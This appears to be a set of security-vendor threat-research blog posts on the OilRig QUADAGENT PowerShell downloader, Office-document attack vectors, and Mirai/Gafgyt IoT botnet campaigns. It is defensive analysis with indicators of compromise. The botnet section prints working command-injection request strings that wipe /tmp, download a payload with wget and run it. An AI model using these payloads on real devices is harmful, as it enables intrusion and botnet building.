During our regular data gathering functions several months ago, we collected a delivery document (SHA256: 1f6369b42a76d02f32558912b57ede4f5ff0a90b18d3b96a4fe24120fa2c300c) that contained an at-the-time an unknown payload which would be revealed to be QUADAGENT. While we do not have data supporting targeting information or telemetry, we know the document was created in January 2018 and likely used in an attack around that time frame. In addition, the delivery document shared metadata artifacts with the ThreeDollars delivery document (SHA256: 119c64a8b35bd626b3ea5f630d533b2e0e7852a4c59694125ff08f9965b5f9cc) that OilRig used to deliver the ISMAgent payload in a targeted attack In January 2018 on a government entity in the Middle East.
The QUADAGENT payload dropped by the delivery document had the filename AdobeAcrobatLicenseVerify.ps1 and used acrobatverify[.]com
for its C2. Examining the subdomains for acrobatverify[.]com reveals three subdomains, www, resolve, and dns. The passive DNS data for the subdomains shows an IP resolution of 185.162.235[.]121 from December 2017 through January 2018. Prior to this time period, we see several subdomains of msoffice-cdn[.]com, ns1, ns2, and www also resolving to this IP. This IP and msoffice-cdn[.]com were both previously referenced in our first report on an OilRig attack using the ThreeDollars delivery document.
We used this QUADAGENT payload when testing the Invoke-Obfuscation tool mentioned in this blog. By applying two specific obfuscation techniques within Invoke-Obfuscation, we were able to create an obfuscated PowerShell script that was very similar to the QUADAGENT payloads delivered in the attacks discussed in this blog.
 
QUADAGENT Analysis
The final payload delivered in all three attack waves is a PowerShell downloader referred to by other research organizations as QUADAGENT. The downloaders in these attacks were configured to use both rdppath[.]com and cpuproc[.]com as their C2 servers. When communicating with its C2 server, the downloaders use multiple protocols, specifically HTTPS, HTTP or DNS, each of which provide a fallback channel in that order. For instance, the downloader will first attempt to communicate with its C2 server using an HTTPS request. If that HTTPS request is not successful, the downloader will issue an HTTP request. Lastly, if the HTTP request is not successful, the downloader will fallback to using DNS tunneling to establish communications. We provide more on the specific usage of these protocols as we discuss the inner workings of this malware in this section.
The downloader will use the filename of the script (ex. Office365DCOMCheck or SystemDiskClean) as the name for the scheduled task to maintain persistence on the victim host. To create the scheduled task, the PowerShell payload starts by writing the following to a VBScript file with the same name as the task name  (ex. Office365DCOMCheck.vbs or SystemDiskClean.vbs) within the %TEMP% folder:

The scheduled task will then run every five minutes, which provides persistent execution of the downloader script. The task itself is fairly simple, calling the VBScript file which contains a PowerShell one-liner as an argument to run the QUADAGENT payload (ex. Office365DCOMCheck.ps1 and SystemDiskClean.ps1):

After setting up persistent access, the payload checks to see if a value exists within a registry key in the HKCU hive whose name is the same as the scheduled task (ex. Office365DCOMCheck or SystemDiskClean), such as the following:
 
HKCU\Office365DCOMCheck
 
The payload uses this registry key to store a session identifier unique to the compromised system, as well as a pre-shared key used for encrypting and decrypting communications between the system and the C2 server. This registry key is empty upon the first execution of the payload. The payload will communicate with its C2 server to obtain the session ID and pre-shared key and write it to this registry key in the following format:
 
<session id>_<pre-shared key>
 
To obtain the session ID and pre-shared key, the payload will first try to contact the C2 via an HTTPS GET request to the following URL:
 
hxxps://www.rdppath[.]com/
 
If the above request using HTTPS does not result in an HTTP 200 OK message or the response data has no alphanumeric characters, the code will attempt to communicate with the C2 server using HTTP via the following URL:
 
hxxp://www.rdppath[.]com/
 
The code to communicate with the C2 via HTTP exists within an exception handler. To trigger this, if the HTTPS requests do not work, the payload attempts to cause an exception by dividing 1 by 0. This exception invokes the exception handler containing the HTTP communication code, allowing it to run.
If either attempt is successful, the C2 server will respond with the session ID and a pre-shared key in cleartext, which it will save to the previously mentioned registry key. The C2 server will provide the pre-shared key within the response data and will provide the session ID value via the Set-Cookie field within the response, specifically the string after the PHPSESSID parameter of the cookie.
If both attempts fail and the payload is unable to obtain a session ID and pre-shared key via HTTP or HTTPS, it will try to use DNS tunneling. To obtain the session ID and pre-shared key, the payload will issue a query to resolve the following domain:
 
mail.<random number between 100000 and 999999>.<c2 name>
 
This request notifies the C2 server that the payload is about to send system specific data as part of the initial handshake. The script gathers system specific data, such as the domain the system belongs to and the current username, that it constructs in the following format:
 
<domain>\<username>:pass
 
The above string is encoded using a custom base64 encoder to strip out non-alphanumeric characters (=, / and +) from the data and replaces them with domain safe values (01, 02 and 03 respectively).
<encoded system data>.<same random number between 100000 and 999999 above>.<c2 name>
 
After obtaining a session ID and pre-shared key, the PowerShell script will continue to communicate with its C2 server to obtain data to treat as a command. The script will first attempt to communicate with the C2 server using HTTPS (HTTP if unsuccessful), which involves GET requests using the session ID within the request's cookie in the PHPSESSID field, as seen in the example GET request:

If the payload is unable to reach the C2 via HTTPS/HTTP, the payload yet again falls back to DNS tunneling. The payload will issue a DNS query to the following domain to notify the C2 that it is about to send it data (session ID value) to it in a subsequent query:
 
ns1.<random number between 100000 and 999999>.<c2 name>
The payload does nothing with the C2 server’s response to the query. Instead, it immediately issues a query to resolve the following domain, which embeds the session ID value to transmit it to the C2:
 
<encoded session id>.<same random number between 100000 and 999999>.<c2 domain name>
 
To transmit the data via the DNS tunneling, the C2 server will respond to the above query with an IPv6 address that contains the number of DNS queries the payload must issue to obtain the entirety of the data from subsequent IPv6 answers. The script will send the specified number of DNS queries using the following format, each of which the C2 will respond with an IPv6 address that the script will treat as a string of data:
 
www.<sequence number>.<same random number between 100000 and 999999>.<c2 domain name>
 
The payload will treat the data provided by the C2 as a message, which will have the following structure:
 
hello<char uuid[35]><char type[1]><data>
 
The message will start with the string hello followed by a 35-character UUID string. The type field specifies the command that the payload will handle. This specific variant of the payload can only handle one command type, x. The data field within the message is a string of custom base64 encoded data that the malware decodes using the same custom base64 routine mentioned earlier and decrypts it using AES and the pre-shared key. The x command treats the supplied data as a PowerShell script that it will write to the current PowerShell script (Office365DCOMCheck.ps1/SystemDiskClean.ps1), effectively overwriting the initial PowerShell script with a secondary payload script. Also, the x command will delete the generated registry key and the Office365DCOMCheck/SystemDiskClean scheduled task. It will run the newly downloaded PowerShell script by running the following command via cmd /c:

The payload will then notify the C2 it has successfully downloaded and executed the secondary PowerShell payload. It does so using either the HTTPS/HTTP or DNS channels, depending on which method is successful. The payload will construct a message that has the following structure that it will then send to the C2:
 
bye<char uuid[35]>d
 
The message above is sent via a simple HTTPS/HTTP POST request to the C2 server. If that fails, the payload will use DNS tunneling by first issuing a DNS query to resolve the following domain to notify the C2 that the payload will send data to it in subsequent DNS queries:
 
ns1.<random number between 100000 and 999999>.<c2 name>
 
The payload will then split the message up into 60-byte chunks (only 1 in this case), which it will send to the C2 via DNS queries to resolve domains structured as:
 
<encoded/encrypted data of message>.<same random number between 100000 and 999999>.<c2 name>
 
The payload will notify the C2 that it is done sending data by issuing a DNS query to resolve a domain structured as:
 
ns2.<same random number between 100000 and 999999>.<c2 name>
 
Package Comparison of the QUADAGENT Samples
The bat2exe version (SHA256: 5f001f3387ddfc0314446d0c950da2cec4c786e2374d42beb3acce6883bb4e63)has a batch script, PowerShell script, and associated file names embedded within several resources that it will decrypt using RC4 and various MD5 hashes for keys. The executable obtains an embedded PowerShell script, decrypts it using RC4, then decompresses it using ZLIB, and saves the cleartext to C:\Users\<username>\AppData\Roaming\Out.jpg. The batch script will then rename Out.jpg to Office365DCOMCheck.ps1 and execute it with the following command:

The .NET variant (SHA256: d948d5b3702e140ef5b9247d26797b6dcdfe4fdb6f367bb217bc6b5fc79df520) is even simpler. This dropper starts by displaying the dialog box in Figure 1, previously shown and discussed with the following command:

The dropper then writes the content of the payload which resides as plaintext in a resource within the .NET assembly to C:\Users\<username>\AppData\Local\Temp\SystemDiskClean.ps1. It will then execute it as a shell object:

In the malicious macro attack, the same Office365DCOMCheck.ps1 script that was used in the PE version is used as the payload. When the document is opened, a lure image as shown as seen in Figure 2 is displayed in an attempt to coerce the victim to enable macros.
When macros are enabled and run, the macro within the Word document searches the sections of the document to get the contents of the header using the following piece of code:

The code above obtains the contents of the header, which the macro will write to a file at C:\programdata\Office365DCOMCheck.ps1. The creator of the delivery document was able to visually hide the PowerShell script in the header by setting the text to a font size of 2 and font color of white, as seen in Figure 4.
OilRig_4

Figure 4. Hidden PowerShell script within the document's header using a small white font

This technique of hiding malicious content by using a small white font is not unique to this threat group, as we recently observed the Sofacy group use this technique to hide DDE instructions within one of their delivery documents.

Threat Brief: Office Documents Can Be Dangerous (But We’ll Continue to Use Them Anyway)

Posted on by Liat Hayun

Nearly all of us have a use for Microsoft Office documents. Whether they are work documents, e-receipts, or a lease on a new apartment – Office documents are useful to all of us, and this is part of the reason we’re very likely to open an office document we receive as an attachment in e-mail. Armed with the knowledge that many people will open nearly any document, even those from an untrusted source, adversaries commonly choose these files in attacks to compromise a system.
In this threat brief we show you five different ways that Office documents can be subverted and abused to attack and compromise a Windows endpoint, some we’ve already posted about before, and some are new.

Macros
Macros are the most straight-forward way for an attacker to weaponize Office documents. Office applications have a built-in script engine that can run VBA (Visual Basic for Applications) scripts. These scripts can execute immediately as the document opens, without any user interaction (assuming the user has previously enabled macros) and run malicious code on the system. If the user has not enabled macros, a popup window will appear asking the user to click to do so. The pop-up is one of several security mechanisms added by Microsoft to mitigate the security risk that macros pose. Microsoft will also force a different file extension (.docm instead of .docx for new documents containing macros). Despite these measures, users still choose to open these files and enable their content, thus allowing macros to continue be a common attack vector – both in wide and simple attacks to deliver ransomware such as Emotet, as well as for sophisticated attacks like this Sofacy campaign.
Threat Brief_1

Figure 1. The Sofacy document before & after the content is enabled

As you can see in this example, attackers try to convince users to disable the security mechanisms added by Microsoft using social engineering, convincing the user to enable content for them to be able to see the full document. In the Sofacy example, the attackers had simply made the font color white, so the text was present prior to the user enabling macros, just not clearly visible.

Embedded Flash files
In addition to built-in capabilities, like macros, Office documents can also be embedded with external objects, such as Adobe Flash files. These objects are passed to the appropriate software for handling, thus any vulnerability that the software has can also be exploited by embedding it within the Adobe Flash content in the Office document. An example for such attack vector being leveraged by attackers is CVE-2018-4878, an Adobe Flash Player Zero-Day exploited by embedding malicious SWF files in Excel documents. In these types of attacks, the malicious Excel contains embedded Adobe Flash content which can trigger the Flash vulnerability and execute embedded shellcode.

Microsoft Equation Editor
In a similar way to embedding Adobe Flash files into an Office document, you can also embed equations in documents that will be parsed by Microsoft Equation Editor - a program that lets you easily write mathematical equations:
Threat Brief_2

Figure 2.  Microsoft Equation Editor

As in our previous example, vulnerabilities in the equation editor can be exploited by leveraging malicious Office documents. We’ve seen examples of this just recently, when CVE-2017-11882 was exploited in the wild, paving the way to other exploits like CVE-2018-0802, both of which exploit flaws in the equation editor, enabling attackers to get from the user opening an Office document to remote code execution. While still not seen in the wild, similar exploits in Microsoft Equation Editor, such as such as CVE-2018-0807 and CVE-2018-0798, were identified by Unit 42 researchers.
Note that since the Microsoft Equation Editor runs as its own process (eqnedt32.exe), protections specific to Microsoft Office such as EMET and Windows Defender Exploit Guard are not effective by default, as they only protect Microsoft Office processes (such as winword.exe).

OLE Objects & HTA Handlers
OLE Objects & HTA Handlers are mechanisms Office documents use to make references to include other documents in their content. They can be used to compromise an endpoint in the following way:

  • A Microsoft Word document is embedded with an OLE2 embedded link object
  • Once the document is opened, the Word process (winword.exe) sends an HTTP request to a remote server to retrieve an HTA file with a malicious script
  • Winword.exe will then look up the file handler for application/hta through a COM object, which causes the Microsoft HTA application (mshta.exe) to load and execute the malicious script

This functionality was leveraged in exploitation of CVE-2017-0199 - a Microsoft Office/WordPad remote code execution (RCE) vulnerability patched by Microsoft in September 2017, and was used in multiple campaigns, like this OilRig campaign.
Threat Brief_3

Figure 3. RTF files will look exactly like regular Word documents

In addition to the previous OLE & HTA exploit, attackers discovered RTF files can also execute ‘text/html’ mime-type OLE objects using the MSHTML. This means that RTF documents expose the same attack surface as Internet Explorer!
Leveraging this logical vulnerability, known as CVE-2018-8174, allows attackers to execute arbitrary HTML/JavaScript/VBScript. While code executed in this way is ‘sandboxed’ (where it cannot run new processes or write to the filesystem etc.), like other code running from Internet Explorer, this flaw can be used to leverage other vulnerabilities, such as a memory corruption UAF vulnerability in the VBScript engine, to gain arbitrary code execution in the context of the Word application (winword.exe), allowing them to gain control on the system.

Conclusion
While document-based attacks have been a common attack vector for over a decade, we’re seeing a recent rise in their popularity and complexity. This rise may be a result of browser exploits becoming more difficult to use, due to the hardening done by browser developers. No matter the reason, it is important that organizations know how to defend against these common techniques.

Prevention
Palo Alto Networks Traps advanced endpoint protection offers multiple methods of malware and exploit prevention to protect against these threats:

  • Macro examination – Traps examines every Office document for the existence of malicious macros by leveraging both the WildFire threat intelligence cloud as well as local machine learning based capabilities and can prevent malicious files from even being opened by the user.
  • Exploit prevention – Traps extensive exploit prevention capabilities allows preventing any of these exploitation attempts from succeeding running the malicious shellcode on the attacked endpoint.
  • Traps is monitoring Office applications by default, ensuring that legitimate built-in processes are not leveraged for malicious flows.

Unit 42 Finds New Mirai and Gafgyt IoT/Linux Botnet Campaigns

Posted on by Ruchna Nigam

The end of May 2018 has marked the emergence of three malware campaigns built on publicly available source code for the Mirai and Gafgyt malware families that incorporate multiple known exploits affecting Internet of Things (IoT) devices.
Samples belonging to these campaigns incorporate as many as eleven exploits within a single sample, beating the IoT Reaper malware, which borrowed some of the Mirai source code but also came with an integrated LUA environment that incorporated nine exploits in its code.
In their newest evolution, samples also target the D-Link DSL-2750B OS Command Injection  vulnerability, only a few weeks after the publication of its Metasploit module on the 25th of May (even though the vulnerability has been public knowledge since February of 2016).
While exploring samples belonging to one of these campaigns, I also discovered they support several new DDoS methods previously unused by Mirai variants.
This blog post details each campaign (in the chronological order they were observed) along with the exploits used, the new DDoS methods supported, ending in a comparative summary of the campaigns.  Also covered is the tangential discovery of some Gafgyt samples incorporating new Layer 7 DDoS functionality targeting a known DDoS-protection provider.
IOCs for different campaigns, if not mentioned under the corresponding section, can be found at the end of this blog post.

CAMPAIGN 1: An evolution of Omni
In May 2018, the Omni botnet, a variant of Mirai, was found exploiting two vulnerabilities affecting Dasan GPON routers - CVE-2018-10561 (authentication bypass) and CVE-2018-1562 (command injection). The two vulnerabilities used in conjunction allow the execution of commands sent by an unauthenticated remote attacker to a vulnerable device.
Since then the same family has evolved to incorporate several more exploits, detailed in Table 1.
I used the sample below for this analysis

SHA256 3908cc1d8001f926031fbe55ce104448dbc20c9795b7c3cfbd9abe7b789f899d

 

VULNERABILITY AFFECTED DEVICES EXPLOIT FORMAT
CVE-2018-10561, CVE-2018-10562 Dasan GPON routers XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=;wget+http://%s/gpon80+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=;wget+http://%s/gpon8080+-O+->/tmp/gpon8080;sh+/tmp/gpon8080&ipv=0
CVE-2014-8361 Different devices using the Realtek SDK with the miniigd daemon POST /picsdesc.xml
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47500</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /tmp/; rm -rf*; wget http://%s/realtek</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>POST /picsdesc.xml
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47500</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /tmp/;chmod +x realtek;./realtek realtek</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Netgear setup.cgi unauthenticated RCE DGN1000 Netgear routers GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s/netgear+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1
CVE-2017-17215 Huawei HG532 POST /ctrlt/DeviceUpgrade_1
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s -l /tmp/huawei -r /huawei; sh /tmp/huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Eir WAN Side Remote Command Injection Eir D1000 routers POST /UD/act?1
<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>cd /tmp && rm -rf * && /bin/busybox wget http://%s/tr064 && sh /tmp/tr064</NewNTPServer1><NewNTPServer2>echo OMNI</NewNTPServer2><NewNTPServer3>echo OMNI</NewNTPServer3><NewNTPServer4>echo OMNI</NewNTPServer4><NewNTPServer5>echo OMNI</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

POST /UD/act?1
<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>cd /tmp && rm -rf * && /bin/busybox wget http://%s/tr064 && sh /tmp/tr064</NewNTPServer1><NewNTPServer2>echo OMNI</NewNTPServer2><NewNTPServer3>echo OMNI</NewNTPServer3><NewNTPServer4>echo OMNI</NewNTPServer4><NewNTPServer5>echo OMNI</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
HNAP SoapAction-Header Command Execution D-Link devices POST /HNAP1/
SOAPAction: http://purenetworks.com/HNAP1/cd /tmp && rm -rf * && wget http://%s/hnap && sh /tmp/hnap

(Faulty exploit:
This vulnerability stems from the fact that anything trailing the last '/' after the string “http://purenetworks.com/HNAP1/GetDeviceSettings” in the SoapAction header value is executed using the system command without sanitization

In this implementation, the exploit code is appended to “http://purenetworks.com/HNAP1/”, and hence the above condition will not be triggered. To the best of my knowledge this exploit will not work on any devices)
CCTV/DVR Remote Code Execution CCTVs, DVRs from over 70 vendors GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s/crossweb;sh${IFS}/tmp/crossweb&>r&&tar${IFS}/string.js
JAWS Webserver unauthenticated shell command execution MVPower DVRs, among others GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s/jaws;sh+/tmp/jaws
UPnP SOAP TelnetD Command Execution D-Link devices POST /soap.cgi?service=WANIPConn1
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>cd /tmp;rm -rf *;wget http://%s/dlink;sh /tmp/dlink</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>
Netgear cgi-bin Command Injection Netgear R7000/R6400 devices GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s/netgear2;${IFS}sh${IFS}/var/tmp/netgear2
Vacron NVR RCE Vacron NVR devices GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s/vacron;sh+/tmp/vacron

All of these vulnerabilities are publicly known and have been exploited by different botnets either separately or in combination with others in the past, however, this is the first Mirai variant using all eleven of them together.
Differentiating features of the campaign:

  • Two different encryption schemes: Aside from using the standard XOR encryption scheme seen in all Mirai variants, in this case using the table key 0xBAADF00D samples make use of a second key for the encryption of certain config strings.
  • Samples rely solely on exploits for propagation and don’t perform a credential brute-force attack.
  • Further infection of infected devices is prevented by dropping packets received on certain ports using iptables (Figure 1)

Mirai_1

Figure 1: Screenshot from malware disassembly showing the use of iptables to drop future connection attempts via certain ports

The campaign makes use of the IP 213[.]183.53.120 both for serving payloads, and as a Command and Control (C2) server.
Pivoting off this IP, I discovered some Gafgyt samples that surfaced around the same time reporting to the same IP, but using a new method named 'SendHTTPCloudflare'. This method is detailed at the end of this blog post.
This campaign was linked to the Omni variant on several references in the code as seen such as the one seen in Figure 2 below.

Mirai_2

Figure 2: OMNI reference in samples

The encrypted strings also reference a website gpon[.]party that was down at the time of this writing.
Mirai_3

Figure 3: gpon[.]party reference

CAMPAIGN 2: Okane
Samples from this campaign were served from the IP 46[.]243.189.101. This host briefly had an open directory containing the samples, as seen in the figure below.
Mirai_4

Figure 4: Screenshot from open directory at payload server 46[.]243.189.101

The payload source in this attack was located at hxxp://46[.]243.189.101/gang/. The downloaded payload is a shell script that attempts to replicate itself by downloading Okane binaries to vulnerable devices.  On the 13th of June, the payload source for some of these samples was briefly replaced with the Cloudflare DNS server 1[.]1.1.1.
This campaign incorporates the same exploits listed in Table 1. Figure 5 shows these exploits being called sequentially in one of the samples belonging to this campaign. Each call results in the creation of a dedicated fork for each exploit.
Mirai_5

Figure 5: Screenshot from malware disassembly of exploit calls in a sample from Campaign 2

Unlike the previous campaign, these samples also perform a credential brute force attack. Some unusual entries were discovered on the brute force lists in these samples, such as the following:

Some samples belonging to this campaign include the addition of two new DDoS methods to the Mirai source code.
Below are descriptions of these new DDoS methods, extracted from the following sample.

SHA256 320ed65d955bdde8fb17a35024f7bd978d26c041de1ddcf8a592974f77d82401
  • attack_method_tcpxmas: involves sending TCP packets with all flags set, also known as Christmas tree packet This could be considered a more effective means of DDoS since these packets “require much more processing by routers and end-hosts than the "usual" packets do.” This method has already been observed used by Gafgyt and Kaiten variants in the past. The payload size of packets sent is set to 768 bytes.
  • attack_method_std: involves sending packets with a randomized payload of 1024 bytes.

Digging deeper reveals that samples using these attack methods have been part of a Mirai code fork from as early as August 2017.
Some newer samples from the same campaign also integrate additional methods that only appear in samples from the beginning of June 2018. Some notable methods are detailed below.
For this analysis I used a sample with the following hash.

SHA256 be1d722af56ba8a660218a8311c0482c5b2d096ba91485e7d9dfc12a2b8e00b3

 

  • attack_method_udpgame: UDP DDoS using SOCK_RAW from a random source port to the destination port 27015 (often used by online game servers).
  • attack_method_asyn: TCP DDoS using packets with random source and destination ports, using packets with the ACK and SYN flags set.
  • attack_method_tcpfrag: TCP DDoS using SOCK_RAW with random source and destination ports and sequence number, and flags URG, ACK, PSH, RST, SYN and FIN set. In this case the ‘Don’t Fragment’ bit is set to 1.
  • attack_method_tcpall: same as attack_method_tcpfrag above, except the ‘Don’t Fragment’ bit is set to 0.
  • attack_method_tcpusyn: TCP DDoS using packets with random source and destination ports, using packets with the URG and SYN flags set.

On the 19th of June, samples on this server were stripped of their exploits and reverted to using a simple brute force and subsequently dropping a shell script, for self-propagation.

Mirai_6

Figure 6: Shell script used by newer Okane samples for self-propagation

CAMPAIGN 3: Hakai
Earlier samples belonging to this campaign use all the exploits detailed in Table 1, except for the UPnP SOAP TelnetD Command Execution exploit.  The payload source for this campaign was hxxp://hakaiboatnet[.]pw/m and the C2 server was 178[.]128.185.250. Samples make use of an encryption scheme similar to Mirai; unlike previous campaigns, they are built on the Gafgyt source code, which is also known as Bashlite, Lizkebab, Torlus or LizardStresser.
Samples listen for the following commands:

Command Translation
SC ON Scanner On
SC OFF Scanner Off
H HTTP Flood
U UDP Flood
S STD Flood
T TCP Flood
KT Kill scanner threads

Newer samples from the same server were found to have also incorporated an OS Command Injection exploit against D-Link DSL-2750B devices. These samples use the same attack methods, encryption key and C2 as the samples above, however they source their payload from hxxp://178[.]128.185.250/e.

Mirai_7

Figure 7: Exploit targeting D-Link DSL-2750B devices used in newer samples of the campaign

Summary
Table 2 shows a comparative summary of the three campaigns

Campaign Exploits Used Built on Payload source C2 Config string encryption/decryption key Also brute forces credentials?
1: Evolution of OMNI All exploits in Table 1 Mirai hxxp://213[.]183.53.120 213[.]183.53.120 Two different keys used – 0xBAADF00D, 0xDEADBEEF (or the equivalent of a byte-wise XOR with 0x22) No
2: Okane All exploits in Table 1 Mirai hxxp://46[.]243.189.101/gang/ 142[.]129.169.83:5888 0xDEACFBEF Yes
3: Hakai All exploits in Table 1, except UPnP SOAP TelnetD Command Execution. Newer samples also incorporate a D-Link DSL-2750B OS Command Injection exploit Gafgyt hxxp://hakaiboatnet[.]pw/m,
hxxp:// 178[.]128.185.250/e		 178[.]128.185.250 0xDEDEFFBA Yes

Table 2: Comparative summary of the attack campaigns

Gafgyt with a new Layer-7 attack
Layer-7 DDoS attacks targeting specific DDoS protection service vendors are not new and were already observed in the form of the DvrHelper variant of Mirai.
They have however not been observed used by Gafgyt samples until now. While pivoting on the C2 used by samples of Campaign 1, I came across some Gafgyt samples listening for an additional command called HTTPCF.
When this command is received, the bot calls a function called SendHTTPCloudflare that does as its name suggests, targeting a URL path used mostly by sites protected by Cloudflare. The earliest samples observed using this attack were from the end of May 2018.
Mirai_8

Figure 8: URL format targeted by HTTPCF

Samples use the same IP i.e. 213[.]183.53.120 at port 8013 for C2 communication.
They also make use of some unusual User-Agents (UA) as seen in Figure 9. All UAs found in these samples are listed in the appendix
Mirai_9

Figure 9: Some unusual User Agents found in related Gafgyt samples

Conclusion

The initial rise of botnets targeting embedded systems had brought to light the security risks from millions of Internet-connected devices configured with default credentials.
The evolution of these botnets to the use of multiple exploits, be it IoT Reaper or the campaigns discussed here, shows how attackers can build enormous botnets consisting of different types of devices, all responding to the same C2 server. This is exacerbated by the speed of exploitation in the wild of newly released vulnerabilities and also highlights the need for security vendor reactivity in response to these disclosures, applicable to the subset of these devices that do fall under the protection of security devices. However, the onus is on device manufacturers to ensure their devices are easy to update, and that they deploy the updates in a timely manner.
Palo Alto Networks customers benefit from the following protections against these attacks:
AutoFocus customers can track these activities using individual exploit tags:

AutoFocus customers can also use the following malware family tags :

WildFire detects all related samples with malicious verdicts.
All exploits and IPs/URLs involved in these campaigns are blocked through Threat Prevention and PANDB.

Indicators of Compromise

Campaign 1 samples
000b018848e7fd947e87f1d3b8432faccb3418e0029bde7db8abf82c552bbc63
37e3a07a17a82175c60992f18eaf169e4014915eb90fac5b4704060572cfa60b
3908cc1d8001f926031fbe55ce104448dbc20c9795b7c3cfbd9abe7b789f899d
3b3a66c2c27f5821d5304e22a2a34b044027ffaac327df5263674b4aa25bc901
4c07af1041e0d83437d4b14226204652574b428cd1dbd4bfc7047c13dffc4700

 

Campaign 1 related URLs/IPs
213[.]183.53.120

 

Okane Multi-exploit samples
00499879c74122881e436fbf701a823d4dc53ff6946e58dd0e5410bad24f3d57
0fa81ebe444cfe7413f90ca116817cdfa3ccfdc41160fcd64032630d30b2d598
11628ac93368228e949d9b7e380a065e58c02626a8fd7896db8c2dec51583d1d
1d6c5a560bbb57695c502b5d642e48fbe6bddc45defdb56fa25bd94ae17e5a14
216492260b8d1342988c1688962dd95a48af8c801afe03c6801ec07d74862e60
264a194bda6aaa51665d5c872237613ac153e67827e7b0bbbe84b4e8e464544c
38736acdf58a418acd778a3203df9e84b4470a71031fe9e6d52170ad3c15e794
39893d4a033fd29faea37d09b4c8cfb9be04ffc19288506551e18d294e96bb2d
49f98a91c95a633a6d7a9a134e3a8e881e12aeede758a4367432ad3cab1c2b28
50473fc0d89fd5ed0a20c96f34c419c5ee66e630fecb88a095283450229a934e
509a7cc2335ef667ddc20298a3fae9c9c966be400719343cb59b042d05a98426
5352dc35d97ceb2d9bf58113ee1196daea66cd4a4bce9acba29ee05f4d84170e
55771db22c6305f7fba0b20b19b8537e85a45b80ddbcba1ffe0f6d30ef8697d6
645128d788b5cc1becc2546973e658c03e2ee33116013b84c05904a18044e353
834e675813e517aa0b4b6c65edbb2e8bf141b272f6918b443c69793db365ff3b
893309bc397058d50bba7c5c077bfc7f64956a098e452c63813c074beb8837dc
8b65ac91af993f95b57535e5a71571bbc06fbb37e1bfd47313585dceda345fd9
916cf77c6af335732007fd0c09ec49b8f29053731a062c33a66d65793495dcd5
93fa2bb5a64216d8579a53debcb9b2dade3a0a995c3026b04667fd472e7841a3
9e150ccd410ed8a3a8673e092450bd6dc0f5abc2d7306e2d05b57cfb21d8d4df
9fe586ead4a1b003c023c75467c9b1fcda3414265ea50e060e939a4078c79234
a0d7592cfcd469e10a9ca463780737c76d3e61c5b750345998b18721b3565f0d
a36adfa5ecec9ad5429c817de3fbece20d1b526c116d2bfccd9366aabacc2c32
ac7bb0c8bf67186572ee931f86f679e12f6737d8e36936fb40a870dc3aeeee22
b2156ce005eacccabe0ed668bbced761df1da1f1da32e645d344eaa8f075dbb9
b55bea0bf708734491d101f41ecdbb592e69b8ccc053b7dfc33fe3e465c80b9f
b72c22efed4b68d52fbc97360c388fc1812d431c208cf35af5bdcc850e8a2e01
bc11fcafe415b1bf74abbeb5189cb72f991bb6dfb01b61f2d96cbb4cfd6d9e2f
